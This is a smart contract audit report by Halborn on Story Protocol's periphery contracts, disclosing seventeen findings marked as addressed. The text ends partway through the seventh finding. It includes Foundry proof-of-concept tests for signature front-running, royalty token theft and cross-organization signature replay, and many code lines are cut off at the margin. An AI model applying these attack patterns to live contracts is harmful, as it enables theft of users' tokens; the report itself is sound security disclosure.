// Smart Contract Security Assessment 01.13.2025 - 02.04.2025

Proof-of-Creativity Protocol - Periphery Contracts

Story

HALBORN

Proof-of-Creativity Protocol - Periphery Contracts - Story

Prepared by: HALBORN

Last Updated 02/12/2025

Date of Engagement by: January 13th, 2025 - February 4th, 2025

Summary

100% OF ALL REPORTED FINDINGS HAVE BEEN ADDRESSED

ALL FINDINGS	CRITICAL	HIGH	MEDIUM	LOW	INFORMATIONAL
17	2	2	2	3	8

TABLE OF CONTENTS

1. Introduction

Story Protocol engaged Halborn to conduct a security assessment on their smart contracts beginning on January 13th, 2025 and ending on January 4th, 2025. The security assessment was scoped to the smart contracts provided in the private repository provided to Halborn. Further details can be found in the Scope section of this report.

2. Assessment Summary

Halborn was provided 15 days for the engagement, and assigned one full-time security engineer to review the security of the smart contracts in scope. The engineer is a blockchain and smart contract security expert with advanced penetration testing and smart contract hacking skills, and deep knowledge of multiple blockchain protocols.

The purpose of the assessment is to:

- Identify potential security issues within the smart contracts.
- Ensure that smart contract functionality operates as intended.

In summary, Halborn identified some improvements to reduce the likelihood and impact of risks, which were mostly addressed by the Story Protocol team. The main ones were the following:

- Prevent the reuse of the signatures on StoryBadgeNFT contracts by including the destination contract.
- Prevent frontrunning attacks on the Workflows contracts by adding the complete context and parameters of the call to the signature digest.
- Enforce protocol invariants for edge cases.

3. Test Approach And Methodology

`Halborn` performed a combination of manual and automated security testing to balance efficiency, timeliness, practicality, and accuracy in regard to the scope of this assessment. While manual testing is recommended to uncover flaws in logic, process, and implementation; automated testing techniques help enhance coverage of the code and can quickly identify items that do not follow the security best practices. The following phases and associated tools were used during the assessment:

- Research into architecture and purpose.
- Smart contract manual code review and walkthrough.
- Graphing out functionality and contract logic/connectivity/functions (`solgraph`).
- Manual assessment of use and safety for the critical Solidity variables and functions in scope to identify any arithmetic related vulnerability classes.
- Manual testing by custom scripts.
- Static Analysis of security for scoped contract, and imported functions (`slither`).
- Testnet deployment (`Foundry`).

4. RISK METHODOLOGY

Every vulnerability and issue observed by Halborn is ranked based on **two sets** of **Metrics** and a **Severity Coefficient**. This system is inspired by the industry standard Common Vulnerability Scoring System.

The two **Metric sets** are: **Exploitability** and **Impact**. **Exploitability** captures the ease and technical means by which vulnerabilities can be exploited and **Impact** describes the consequences of a successful exploit.

The **Severity Coefficients** is designed to further refine the accuracy of the ranking with two factors: **Reversibility** and **Scope**. These capture the impact of the vulnerability on the environment as well as the number of users and smart contracts affected.

The final score is a value between 0-10 rounded up to 1 decimal place and 10 corresponding to the highest security risk. This provides an objective and accurate rating of the severity of security vulnerabilities in smart contracts.

The system is designed to assist in identifying and prioritizing vulnerabilities based on their level of risk to address the most critical issues in a timely manner.

4.1 EXPLOITABILITY

ATTACK ORIGIN (AO):

Captures whether the attack requires compromising a specific account.

ATTACK COST (AC):

Captures the cost of exploiting the vulnerability incurred by the attacker relative to sending a single transaction on the relevant blockchain. Includes but is not limited to financial and computational cost.

ATTACK COMPLEXITY (AX):

Describes the conditions beyond the attacker's control that must exist in order to exploit the vulnerability. Includes but is not limited to macro situation, available third-party liquidity and regulatory challenges.

METRICS:

EXPLOITABILITY METRIC (M_E)	METRIC VALUE	NUMERICAL VALUE
Attack Origin (AO)	Arbitrary (AO:A) Specific (AO:S)	1 0.2

EXPLOITABILITY METRIC (M_E)	METRIC VALUE	NUMERICAL VALUE
Attack Cost (AC)	Low (AC:L) Medium (AC:M) High (AC:H)	1 0.67 0.33
Attack Complexity (AX)	Low (AX:L) Medium (AX:M) High (AX:H)	1 0.67 0.33

Exploitability E is calculated using the following formula:

$$E = \prod m_e$$

4.2 IMPACT

CONFIDENTIALITY (C):

Measures the impact to the confidentiality of the information resources managed by the contract due to a successfully exploited vulnerability. Confidentiality refers to limiting access to authorized users only.

INTEGRITY (I):

Measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of data stored and/or processed on-chain. Integrity impact directly affecting Deposit or Yield records is excluded.

AVAILABILITY (A):

Measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability. This metric refers to smart contract features and functionality, not state. Availability impact directly affecting Deposit or Yield is excluded.

DEPOSIT (D):

Measures the impact to the deposits made to the contract by either users or owners.

YIELD (Y):

Measures the impact to the yield generated by the contract for either users or owners.

METRICS:

IMPACT METRIC (M_I)	METRIC VALUE	NUMERICAL VALUE
Confidentiality (C)	None (I:N) Low (I:L) Medium (I:M) High (I:H) Critical (I:C)	0 0.25 0.5 0.75 1
Integrity (I)	None (I:N) Low (I:L) Medium (I:M) High (I:H) Critical (I:C)	0 0.25 0.5 0.75 1
Availability (A)	None (A:N) Low (A:L) Medium (A:M) High (A:H) Critical (A:C)	0 0.25 0.5 0.75 1
Deposit (D)	None (D:N) Low (D:L) Medium (D:M) High (D:H) Critical (D:C)	0 0.25 0.5 0.75 1
Yield (Y)	None (Y:N) Low (Y:L) Medium (Y:M) High (Y:H) Critical (Y:C)	0 0.25 0.5 0.75 1

Impact I is calculated using the following formula:

$$I = max(m_I) + \frac{\sum m_I - max(m_I)}{4}$$

4.3 SEVERITY COEFFICIENT

REVERSIBILITY (R):

Describes the share of the exploited vulnerability effects that can be reversed. For upgradeable contracts, assume the contract private key is available.

SCOPE (S):

Captures whether a vulnerability in one vulnerable contract impacts resources in other contracts.

METRICS:

SEVERITY COEFFICIENT (C)	COEFFICIENT VALUE	NUMERICAL VALUE
Reversibility (r)	None (R:N) Partial (R:P) Full (R:F)	1 0.5 0.25
Scope (s)	Changed (S:C) Unchanged (S:U)	1.25 1

Severity Coefficient C is obtained by the following product:

$$C = rs$$

The Vulnerability Severity Score S is obtained by:

$$S = min(10, EIC * 10)$$

The score is rounded up to 1 decimal places.

SEVERITY	SCORE VALUE RANGE
Critical	9 - 10
High	7 - 8.9
Medium	4.5 - 6.9
Low	2 - 4.4

SEVERITY	SCORE VALUE RANGE
Informational	0 - 1.9

5. SCOPE

FILES AND REPOSITORY

(a) Repository: protocol-periphery-v1

(b) Assessed Commit ID: ea88959

(c) Items in scope:

- contracts/hooks/LockLicenseHook.sol
- contracts/hooks/TotalLicenseTokenLimitHook.sol
- contracts/interfaces/modules/tokenizer/IOwnableERC20.sol
- contracts/interfaces/modules/tokenizer/ITokenizerModule.sol
- contracts/interfaces/story-nft/IERC5192.sol
- contracts/interfaces/story-nft/IERC7572.sol
- contracts/interfaces/story-nft/IOrgNFT.sol
- contracts/interfaces/story-nft/IOrgStoryNFT.sol
- contracts/interfaces/story-nft/IOrgStoryNFTFactory.sol
- contracts/interfaces/story-nft/IStoryBadgeNFT.sol
- contracts/interfaces/story-nft/IStoryNFT.sol
- contracts/interfaces/workflows/IDerivativeWorkflows.sol
- contracts/interfaces/workflows/IGroupingWorkflows.sol
- contracts/interfaces/workflows/ILicenseAttachmentWorkflows.sol
- contracts/interfaces/workflows/IRegistrationWorkflows.sol
- contracts/interfaces/workflows/IRoyaltyTokenDistributionWorkflows.sol
- contracts/interfaces/workflows/IRoyaltyWorkflows.sol
- contracts/interfaces/workflows/ISPGNFT.sol
- contracts/lib/Errors.sol
- contracts/lib/LicensingHelper.sol
- contracts/lib/MetadataHelper.sol
- contracts/lib/PermissionHelper.sol
- contracts/lib/SPGNFTLib.sol
- contracts/lib/WorkflowStructs.sol
- contracts/modules/tokenizer/OwnableERC20.sol
- contracts/modules/tokenizer/TokenizerModule.sol
- contracts/story-nft/BaseOrgStoryNFT.sol
- contracts/story-nft/BaseStoryNFT.sol
- contracts/story-nft/CachableNFT.sol
- contracts/story-nft/OrgNFT.sol
- contracts/story-nft/OrgStoryNFTFactory.sol
- contracts/story-nft/StoryBadgeNFT.sol
- contracts/workflows/DerivativeWorkflows.sol
- contracts/workflows/GroupingWorkflows.sol

- contracts/workflows/LicenseAttachmentWorkflows.sol
- contracts/workflows/RegistrationWorkflows.sol
- contracts/workflows/RoyaltyTokenDistributionWorkflows.sol
- contracts/workflows/RoyaltyWorkflows.sol
- contracts/BaseWorkflow.sol
- contracts/SPGNFT.sol

Out-of-Scope: Third party dependencies and economic attacks.

REMEDIATION COMMIT ID:

- bc218d7
- ca26a84
- eaf3df5
- https://github.com/storyprotocol/protocol-periphery-v1/pull/176
- 6244aad
- 096fe09
- 9c82927
- 56f56b0
- 5069630
- 821f42c
- 6fb5c2b
- 12c1be1
- 8bb6d18

Out-of-Scope: New features/implementations after the remediation commit IDs.

6. ASSESSMENT SUMMARY & FINDINGS OVERVIEW

CRITICAL	HIGH	MEDIUM	LOW	INFORMATIONAL
2	2	2	3	8

SECURITY ANALYSIS	RISK LEVEL	REMEDIATION DATE
WORKFLOW PERMISSION SETTING CALLS ARE VULNERABLE TO FRONT-RUNNING ATTACKS	CRITICAL	SOLVED - 02/12/2025
ROYALTY TOKENS CAN BE STOLEN	CRITICAL	SOLVED - 02/12/2025
CROSS-ORGANIZATION SIGNATURE REPLAY	HIGH	SOLVED - 02/12/2025
MULTIPLE TOKENS COULD BE MINTED BY THE SAME MSG.SENDER	HIGH	SOLVED - 02/12/2025
INSECURE WORKFLOW WHITELISTING LOGIC	MEDIUM	SOLVED - 02/12/2025
RISK OF LOCKED ASSETS DUE TO USE OF _MINT() INSTEAD OF _SAFEMINT()	MEDIUM	SOLVED - 02/12/2025
TOTALLICENSETOKENLIMIT CANNOT BE REMOVED ONCE SET	LOW	SOLVED - 02/12/2025
SETMINTFEERECIPIENT() COULD BE RENDERED UNUSABLE	LOW	SOLVED - 02/12/2025
UNSAFE ERC20 OPERATIONS	LOW	SOLVED - 02/12/2025

SECURITY ANALYSIS	RISK LEVEL	REMEDIATION DATE
INCORRECT ORDER OF MODIFIERS: NONREENTRANT SHOULD PRECEDE ALL OTHER MODIFIERS	INFORMATIONAL	SOLVED - 02/12/2025
MISSING INITIALIZATION OF ACCESSCONTROLUPGRADEABLE	INFORMATIONAL	SOLVED - 02/12/2025
INACCURATE COMMENTS	INFORMATIONAL	SOLVED - 02/12/2025
UNNECESSARY COMMENTS	INFORMATIONAL	SOLVED - 02/12/2025
TYPOS IN COMMENTS	INFORMATIONAL	SOLVED - 02/12/2025
SUBOPTIMAL FOR LOOPS	INFORMATIONAL	ACKNOWLEDGED - 02/12/2025
ARRAY LENGTH MATCHING NOT ENFORCED IN PERMISSIONHELPER LIBRARY	INFORMATIONAL	SOLVED - 02/12/2025
FLOATING PRAGMA	INFORMATIONAL	SOLVED - 02/12/2025

7. FINDINGS & TECH DETAILS

7.1 WORKFLOW PERMISSION SETTING CALLS ARE VULNERABLE TO FRONT-RUNNING ATTACKS

// CRITICAL

Description

Many of the scoped workflow contracts, such as `LicenseAttachmentWorkflows` , need to perform authenticated calls to different IPAccounts (EIP-6551 accounts). In order to implement the access control mechanism, signatures are used.

If a valid signature is provided, the workflow contract will perform a call to `PermissionHelper.setBatchPermissionForModules()` , which executes a call to the IPAccount's `executeWithSig()` function, including the intended function selectors that will be called in the signature.

However, it has been noted that this signature is used solely to call the module's `setBatchPermission()` function, which effectively whitelists the workflow contract to interact with the module on behalf of the account. Once the workflow contract has been whitelisted, the intended logic of the function is then executed.

This usage of signature renders this function vulnerable to front-running attacks. For example, any legitimate call to any of these functions, like for example `registerPILTermsAndAttach()` , could be front-run, allowing any malicious user to hijack that signature and set any arbitrary Programmable License Terms to that IP (and potentially to any IP owned by the same `signer` , although the amount of IPs owned by a same signer is currently capped to `1`).

It must be noted that this same attack could be conducted against any function that uses the `setBatchPermissionForModules()` or the `setPermissionForModule()` functions, such as:

- `MetadataHelper`
  - `setMetadataWithSig()`
- `RegistrationWorkflows`
  - `register()`
- `GroupingWorkflows`
  - `mintAndRegisterIpAndAttachLicenseAndAddToGroup()`
  - `registerIpAndAttachLicenseAndAddToGroup()`
- `DerivativeWorkflows`
  - `registerIpAndMakeDerivative()`

- registerIpAndMakeDerivativeWithLicenseTokens()
- LicenseAttachmentWorkflows
  - registerIpAndAttachPILTerms()
- RoyaltyTokenDistributionWorkflows
  - registerIpAndAttachPILTermsAndDeployRoyaltyVault()
  - registerIpAndMakeDerivativeAndDeployRoyaltyVault()

This would cause that any of these functions could be called with arbitrary parameters, causing a wide variety of unexpected behaviors.

Proof of Concept

The following PoC depicts how a signature can be used to call a function using any parameter, which renders the function vulnerable to signature hijacking via front-running:

```
    function test_LicenseAttachmentWorkflows_registerPILTermsAndAttach_frontRu
        //For this PoC, we will use Dan as the malicious actor, and Alice as t
        //Dan will frontrun Alice's signature and set a malicious PIL terms ar
        address payable ipId = ipAsset[1].ipId;
        uint256 deadline = block.timestamp + 1000;

        (bytes memory signature, , ) = _getSetBatchPermissionSigForPeriphery({
            ipId: ipId,
            permissionList: _getAttachTermsAndConfigPermissionList(ipId, addre
            deadline: deadline,
            state: IIPAccount(ipId).state(),
            signerSk: sk.alice
        });

        uint256 ltAmt = pilTemplate.totalRegisteredLicenseTerms();

        WorkflowStructs.LicenseTermsData[] memory maliciousCommTermsData = new
        maliciousCommTermsData[0].terms = PILTerms({
            transferable: true,
            royaltyPolicy: address(royaltyPolicyLAP), //to bypass PILicenseTer
            defaultMintingFee: 0,
            expiration: 0,
            commercialUse: true,
            commercialAttribution: true,
            commercializerChecker: address(0),
            commercializerCheckerData: "",
            commercialRevShare: 0,
```

```
            commercialRevCeiling: 0,
            derivativesAllowed: true,
            derivativesAttribution: true,
            derivativesApproval: true,
            derivativesReciprocal: true,
            derivativeRevCeiling: 0,
            currency: address(mockToken), //This could be a malicious currency
            uri: "Malicious PIL"
        });

        vm.startPrank(u.dan);

        // uint256[] memory licenseTermsIds = licenseAttachmentWorkflows.regis
        //     ipId: ipId,
        //     licenseTermsData: commTermsData,
        //     sigAttachAndConfig: WorkflowStructs.SignatureData({
        //         signer: u.alice,
        //         deadline: deadline,
        //         signature: signature
        //     })
        // });

        //This is the malicious actor's call, frontrunning Alice's previous ca
        uint256[] memory licenseTermsIds = licenseAttachmentWorkflows.register
            ipId: ipId,
            licenseTermsData: maliciousCommTermsData,
            sigAttachAndConfig: WorkflowStructs.SignatureData({
                signer: u.alice,
                deadline: deadline,
                signature: signature
            })
        });

    }
```

BVSS

AO:A/AC:L/AX:L/R:N/S:U/C:N/A:M/I:C/D:N/Y:N (10.0)

Recommendation

Ensuring that any signature can be used to perform only a single call with a specific set of validated parameters is recommended, avoiding wide-scope signatures. To achieve this, a refactor of the `IPAccount` signature verification logic would be required.

Remediation

SOLVED: The **Story Protocol team** restricted the calls to the affected functions to only the signature signer:

```
        if (msg.sender != sigMetadataAndRegister.signer)

            revert Errors.DerivativeWorkflows__CallerNotSigner(msg.sender, sig
```

Remediation Hash

https://github.com/storyprotocol/protocol-periphery-v1/commit/bc218d7cd734535890b87fea4783e9e5546f0fbe#diff-81176d1f5dfd9befc0ca4ff2d34040ab03a1b40e5df1620048a1da0d6404d1d6

7.2 ROYALTY TOKENS CAN BE STOLEN

// CRITICAL

Description

In order to distribute the Royalty Tokens of a determined IP, the `_distributeRoyaltyTokens()` internal function from the `RoyaltyTokenDistributionWorkflows` contract is called. This function is called from the following functions:

- `mintAndRegisterIpAndAttachPILTermsAndDistributeRoyaltyTokens()`
- `mintAndRegisterIpAndMakeDerivativeAndDistributeRoyaltyTokens()`
- `distributeRoyaltyTokens()`

These functions will require the following parameters related to the token distribution:

- `ipId`: The target IP
- `royaltyShares`: The struct containing the token receivers and the amount of tokens
- `sigApproveRoyaltyTokens`: A valid signature from the IP account owner

Since the only purpose of the signature is to issue a token approval from the Royalty Token Vault to the `RoyaltyTokenDistributionWorkflows` contract, any legitimate call to any of the previously listed functions could trivially be front-run by any user to issue a valid token approval and arbitrarily distribute the Royalty Tokens, similarly to what was described in `Workflow permission setting calls are vulnerable to Front-Running attacks` vulnerability.

Proof of Concept

The following PoC depicts how a legitimate signature usage can be frontrun, setting a valid approval that can be used to steal any IP's Royalty Tokens:

```
    function test_frontrunRoyaltyTokenDistribution() public {
        uint256 tokenId = mockNft.mint(u.alice);
        address expectedIpId = ipAssetRegistry.ipId(block.chainid, address(moc

        uint256 deadline = block.timestamp + 1000;

        (bytes memory signatureMetadataAndAttachAndConfig, , ) = _getSetBatchP
            ipId: expectedIpId,
            permissionList: _getMetadataAndAttachTermsAndConfigPermissionList(
                expectedIpId,
                address(royaltyTokenDistributionWorkflows)
            ),
            deadline: deadline,
```

```
        state: bytes32(0),
        signerSk: sk.alice
    });

    // register IP, attach PIL terms, and deploy royalty vault
    vm.startPrank(u.alice);
    (address ipId, uint256[] memory licenseTermsIds, address ipRoyaltyVaul
        .registerIpAndAttachPILTermsAndDeployRoyaltyVault({
            nftContract: address(mockNft),
            tokenId: tokenId,
            ipMetadata: ipMetadataDefault,
            licenseTermsData: commRemixTermsData,
            sigMetadataAndAttachAndConfig: WorkflowStructs.SignatureData(
                signer: u.alice,
                deadline: deadline,
                signature: signatureMetadataAndAttachAndConfig
            })
        });
    vm.stopPrank();

    (bytes memory signatureApproveRoyaltyTokens, ) = _getSigForExecuteWith
        ipId: ipId,
        to: ipRoyaltyVault,
        deadline: deadline,
        state: IIPAccount(payable(ipId)).state(),
        data: abi.encodeWithSelector(
            IERC20.approve.selector,
            address(royaltyTokenDistributionWorkflows),
            95_000_000 // 95%
        ),
        signerSk: sk.alice
    });

    // This first legitimate transaction is frontrun by the second transac

    // vm.startPrank(u.alice);
    // // distribute royalty tokens
    // royaltyTokenDistributionWorkflows.distributeRoyaltyTokens({
    //     ipId: ipId,
    //     royaltyShares: royaltyShares,
    //     sigApproveRoyaltyTokens: WorkflowStructs.SignatureData({
    //         signer: u.alice,
    //         deadline: deadline,
    //         signature: signatureApproveRoyaltyTokens
```

```
        //     })
        // });
        // vm.stopPrank();


        // On this malicious transaction, the malicious actor is using Alice's
        // for themselves, and then distributing the tokens to themselves.

        maliciousRoyaltyShares.push(
            WorkflowStructs.RoyaltyShare({
                recipient: u.dan,
                percentage: 95_000_000 // 95%
            })
        );

        vm.startPrank(u.dan);
        // distribute royalty tokens
        royaltyTokenDistributionWorkflows.distributeRoyaltyTokens({
            ipId: ipId,
            royaltyShares: maliciousRoyaltyShares,
            sigApproveRoyaltyTokens: WorkflowStructs.SignatureData({
                signer: u.alice,
                deadline: deadline,
                signature: signatureApproveRoyaltyTokens
            })
        });
        vm.stopPrank();

        // Assert that the malicious actor received the tokens
        address royaltyVault = royaltyModule.ipRoyaltyVaults(ipId);
        assertEq(IERC20(royaltyVault).balanceOf(u.dan), 95_000_000);
    }
```

BVSS

AO:A/AC:L/AX:L/R:N/S:U/C:N/A:M/I:C/D:N/Y:N (10.0)

Recommendation

The signature used to call `_distributeRoyaltyTokens()` should include the `royaltyShares()` parameter in the signature digest in order to prevent arbitrary token distributions if a valid signature is used.

Remediation

SOLVED: The **Story Protocol team** restricted the calls to the affected functions to only the signature signer:

```
        if (msg.sender != sigMetadataAndRegister.signer)

            revert Errors.DerivativeWorkflows__CallerNotSigner(msg.sender, sig
```

Remediation Hash

https://github.com/storyprotocol/protocol-periphery-v1/commit/bc218d7cd734535890b87fea4783e9e5546f0fbe#diff-81176d1f5dfd9befc0ca4ff2d34040ab03a1b40e5df1620048a1da0d6404d1d6

7.3 CROSS-ORGANIZATION SIGNATURE REPLAY

// HIGH

Description

By using the `OrgStoryNFTFactory` contract, any organization can mint a new `OrgNFT` token and deploy a new `StoryBadgeNFT` contract (or the preferred template) via Beacon Proxy. On these `StoryBadgeNFT` contracts, end users can mint a badge NFT if they provide a valid signature that has been signed by the `signer` address supplied within the `storyftInitParams` used to call the `deployOrgStoryNft()` function.

However, it has been noted that the signature digest only includes the `msg.sender` address, which will cause that any valid signature can be reused across organizations sharing the same `signer`:

```
97          // The given signature must be valid
98          bytes32 digest = keccak256(abi.encodePacked(msg.sender)).toEthSig
99          if (!SignatureChecker.isValidSignatureNow($.signer, digest, signa
100             revert StoryBadgeNFT__InvalidSignature();
```

This is likely to happen in organizations managing multiple IPs, such as different NFT collections owned by a same organization. This vulnerability allows for a signature replay attack across different organizations that share the same signer. A user with a valid signature for one organization can reuse that signature to mint badges in other organizations, potentially leading to unauthorized badge minting and undermining the integrity of the badge issuance process.

Proof of Concept

In order to reproduce this issue, consider using the following Foundry test case:

- **PoC Code:**

```
    function test_StoryBadgeNFT_mint_AcrossOrgs_signatureReplay() public {
        // First org deployment by Carl, representing BAYC
        bytes memory signature1 = _signAddress(orgStoryNftFactorySignerSk, u.c
        vm.startPrank(u.carl);
        (,,,address storyNft1) = orgStoryNftFactory.deployOrgStoryNft({
            orgStoryNftTemplate: address(defaultOrgStoryNftTemplate),
            orgNftRecipient: u.carl,
            orgName: "Carl's First Org",
            orgIpMetadata: ipMetadataDefault,
            signature: signature1,
            storyNftInitParams: storyNftInitParams // Carl will be the signer
        });
```

```
        vm.stopPrank();

        // Second org deployment by Alice, representing MAYC
        bytes memory signature2 = _signAddress(orgStoryNftFactorySignerSk, u.
        vm.startPrank(u.alice);
        (,,,address storyNft2) = orgStoryNftFactory.deployOrgStoryNft({
            orgStoryNftTemplate: address(defaultOrgStoryNftTemplate),
            orgNftRecipient: u.carl,
            orgName: "Carl's Second Org",
            orgIpMetadata: ipMetadataDefault,
            signature: signature2,
            storyNftInitParams: storyNftInitParams // Carl will be the signer
        });
        vm.stopPrank();

        // Generate signature for Bob to mint badges
        bytes memory bobSignature = _signAddress(sk.carl, u.bob); // Using Ca

        // Bob mints a badge from first org
        vm.startPrank(u.bob);
        (uint256 tokenId1, address ipId1) = IStoryBadgeNFT(storyNft1).mint(u.b
        assertEq(IStoryBadgeNFT(storyNft1).ownerOf(tokenId1), u.bob);

        // Bob can reuse same signature to mint from second org
        (uint256 tokenId2, address ipId2) = IStoryBadgeNFT(storyNft2).mint(u.b
        assertEq(IStoryBadgeNFT(storyNft2).ownerOf(tokenId2), u.bob);
        vm.stopPrank();

        // Verify Bob has one token from each org
        assertEq(IStoryBadgeNFT(storyNft1).balanceOf(u.bob), 1);
        assertEq(IStoryBadgeNFT(storyNft2).balanceOf(u.bob), 1);
    }
```

BVSS

AO:A/AC:L/AX:L/R:N/S:U/C:L/A:L/I:H/D:N/Y:N (8.8)

Recommendation

It is recommended to include organization context in the signature: Modify the signature generation and verification process to include additional context, such as the StoryNFT contract address. This ensures that the signature is only valid within the intended organization context.

Remediation

SOLVED: The **Story Protocol team** included the StoryNFT contract address in the signature digest.

Remediation Hash

https://github.com/storyprotocol/protocol-periphery-v1/commit/ca26a84e142d9cf0b80c73443e55131c8806a632

7.4 MULTIPLE TOKENS COULD BE MINTED BY THE SAME MSG.SENDER

// HIGH

Description

The `StoryBadgeNFT` contract allows users to mint a badge NFT by providing a valid signature. The current implementation uses the `usedSignatures` mapping to track which signatures have been used, ensuring that each `msg.sender` can mint only one token. However, the signature validation process relies on a `signer` address, which can be updated by the contract owner using the `setSigner()` function.

The digest used for signature verification is generated using only the `msg.sender` address. This means that if the signer address is changed, a new signature from the new signer would allow the same `msg.sender` to mint another token. This effectively shifts the responsibility of preventing duplicate mints to the contract owner, who must ensure not to issue new signatures to the same address or this invariant would be broken.

The ability to change the signer address introduces a potential vulnerability where the same `msg.sender` could mint multiple tokens if new signatures are issued by a different signer. This breaks the intended invariant that each `msg.sender` should only be able to mint one token, potentially leading to unexpected interactions that might affect the protocol's intended behavior.

A similar behavior has been observed in the `OrgStoryNFTFactory` contract's `_validateSignature()` function.

Proof of Concept

In order to reproduce this issue, consider using the following Foundry test case:

- **PoC Code:**

```
    function test_StoryBadgeNFT_mint_AfterSignerChange() public {
        bytes memory signature1 = _signAddress(rootOrgStoryNftSignerSk, u.carl

        // First mint with original signer
        vm.startPrank(u.carl);
        (uint256 tokenId1, address ipId1) = rootOrgStoryNft.mint(u.carl, signa

        // Verify first mint
        assertEq(rootOrgStoryNft.ownerOf(tokenId1), u.carl);
        assertTrue(ipAssetRegistry.isRegistered(ipId1));
        assertEq(rootOrgStoryNft.balanceOf(u.carl), 1);
        vm.stopPrank();
```

```
        // Change signer
        vm.prank(rootOrgStoryNftOwner);
        rootOrgStoryNft.setSigner(u.bob);

        // Generate new signature with new signer
        bytes memory signature2 = _signAddress(sk.bob, u.carl);

        // Second mint with new signer
        vm.startPrank(u.carl);
        (uint256 tokenId2, address ipId2) = rootOrgStoryNft.mint(u.carl, signa

        // Verify second mint
        assertEq(rootOrgStoryNft.ownerOf(tokenId2), u.carl);
        assertTrue(ipAssetRegistry.isRegistered(ipId2));
        assertEq(rootOrgStoryNft.balanceOf(u.carl), 2);
        vm.stopPrank();
    }
```

BVSS

AO:A/AC:L/AX:L/R:N/S:U/C:N/A:N/I:H/D:N/Y:N (7.5)

Recommendation

To maintain the invariant that each `msg.sender` can mint only one token, regardless of changes to the signer, it is recommended to explicitly enforce it, which can be achieved via different methods such as:

- Enforce a maximum `balanceOf()` of 1 per each msg.address
- Instead of tracking the used signatures, track the `msg.sender` that already minted a token.

Remediation

SOLVED: The **Story Protocol team** addressed this issue by performing a balance check of the potential token recipient:

```
        if (ORG_NFT.balanceOf(orgNftRecipient) > 0)
            revert OrgStoryNFTFactory__OrgAlreadyDeployed(orgName, $.deployedO
```

```
        // The recipient must not already have a badge
        if (balanceOf(recipient) > 0) revert StoryBadgeNFT__RecipientAlreadyHo
```

Remediation Hash

https://github.com/storyprotocol/protocol-periphery-v1/commit/eaf3df5a489443c8f8de5f92c724e8c9719ae928

7.5 INSECURE WORKFLOW WHITELISTING LOGIC

// MEDIUM

Description

As described in the `Workflow calls are vulnerable to Front-Running attacks` finding, multiple functions from the Workflows contracts use the `setBatchPermissionFor()` and `setPermissionForModule()` functions to interact with the relevant `IPAccounts`. When these functions are called, the calling **Workflow** contract will be whitelisted in the `AccessController` contract for calling a certain function on that `IPAccount`.

However, after the logic of the Workflow function has been executed, the whitelisting will remain applied unless it is manually revoked by the legitimate owner of the `IPAccount` on a separate transaction.

These kinds of open permissions pose multiple security risks and are considered a bad practice. In the eventuality of a contract takeover or a legitimate contract upgrade that implements logic allowing additional calls to the `IPAccounts`, it would allow anyone to openly interact with any IPAccount that the Workflow contract has called before without needing any signature since the whitelisting would still be active.

BVSS

AO:A/AC:L/AX:L/R:N/S:U/C:L/A:L/I:M/D:N/Y:N (6.3)

Recommendation

Reviewing the **Workflow** contracts logic flow is recommended, since the current one requires each Workflow contract to be whitelisted to perform a certain action on each `IPAccount` , but this whitelisting remains after the function is finalized. Leaving open permissions could pose a high security risk if the **Workflow** contract gets compromised or receives an upgrade containing new functionalities.

Ideally, the **Workflow** contracts should use signatures to strictly perform a certain atomic action, avoiding leaving any open permissions.

Remediation

SOLVED: The **Story Protocol team** replaced the previous permanent permissions with transient permissions that now expire after each use instead of persisting unless manually revoked.

Remediation Hash

https://github.com/storyprotocol/protocol-periphery-v1/pull/176

7.6 RISK OF LOCKED ASSETS DUE TO USE OF _MINT() INSTEAD OF _SAFEMINT()

// MEDIUM

Description

The `SPGNFT.sol` contract uses the `_mint()` function rather than the more robust `_safeMint()` function to mint the collection NFT to the destination user. The `_safeMint()` function includes an essential safety mechanism that verifies a recipient contract's capability to receive and manage ERC-721 tokens by calling the `onERC721Received` method. This check ensures the recipient implements the `ERC721Receiver` interface, reducing the risk of tokens being sent to incompatible contracts:

```
326 |           _mint(to, tokenId);
```

Using `_mint()` bypasses this safeguard and can result in scenarios where tokens are irretrievably locked in contracts that do not support ERC-721 token reception. Such situations pose a risk of permanent asset loss, as neither the tokens nor their associated value can be recovered.

The `ERC721Upgradeable` module itself warns against the use of `_mint()`:

```
/**
    * @dev Mints `tokenId` and transfers it to `to`.
    *
    * WARNING: Usage of this method is discouraged, use {_safeMint} whenever p
    *
    * Requirements:
    *
    * - `tokenId` must not exist.
    * - `to` cannot be the zero address.
    *
    * Emits a {Transfer} event.
    */
function _mint(address to, uint256 tokenId) internal virtual {
```

In contrast, the `_safeMint()` function includes the following additional safety check:

```
function _safeMint(
    address to,
    uint256 tokenId,
    bytes memory data
) internal virtual {
```

```
    _mint(to, tokenId);
    require(
        _checkOnERC721Received(address(0), to, tokenId, data),
        "ERC721: transfer to non ERC721Receiver implementer"
    );
}
```

This check ensures that the receiving contract correctly implements the `onERC721Received` interface, returning the expected `bytes4` selector. Without this validation, tokens sent to non-compliant contracts may become permanently inaccessible.

BVSS

AO:A/AC:L/AX:L/R:N/S:U/C:N/A:M/I:N/D:N/Y:N (5.0)

Recommendation

Replace all instances of `_mint()` with `_safeMint()`. The `_safeMint()` function ensures recipient compliance with ERC-721 standards, safeguarding against the risk of asset lock-in.

Remediation

SOLVED: The **Story Protocol team** addressed this issue by using `_safeMint()` instead of `_mint()`.

Remediation Hash

https://github.com/storyprotocol/protocol-periphery-v1/commit/6244aadfa45585ed53e85900b2a7e49012c7fffb

7.7 TOTALLICENSETOKENLIMIT CANNOT BE REMOVED ONCE SET

// LOW

Description

The `setTotalLicenseTokenLimit()` function in the `TotalLicenseTokenLimitHook` contract allows setting a total license token limit for a specific license. The function includes a check that reverts if the new limit is lower than the current total supply of license tokens. This behavior is intended to prevent setting a limit that is less than the existing supply, which could lead to inconsistencies or violations of the intended token limit.

However, this logic introduces an inconsistency: once a limit is set and the total supply exceeds zero, it becomes impossible to remove the limit by setting it to zero (which is intended to represent "no limit"). This is because the function will revert if the limit is set to zero and the total supply is greater than zero. Conversely, setting the limit to a very high value is allowed, even if it effectively removes the limit, which is inconsistent with the restriction on setting it to zero.

BVSS

AO:A/AC:L/AX:L/R:P/S:U/C:N/A:H/I:M/D:N/Y:N (4.4)

Recommendation

It is recommended the following:
1. **Allow Zero Limit with Conditions**: Modify the function to allow setting the limit to zero, even if the total supply is greater than zero. This can be achieved by adding a specific condition that permits setting the limit to zero, regardless of the current total supply. This change would align the behavior of setting a zero limit with the intention of representing "no limit."
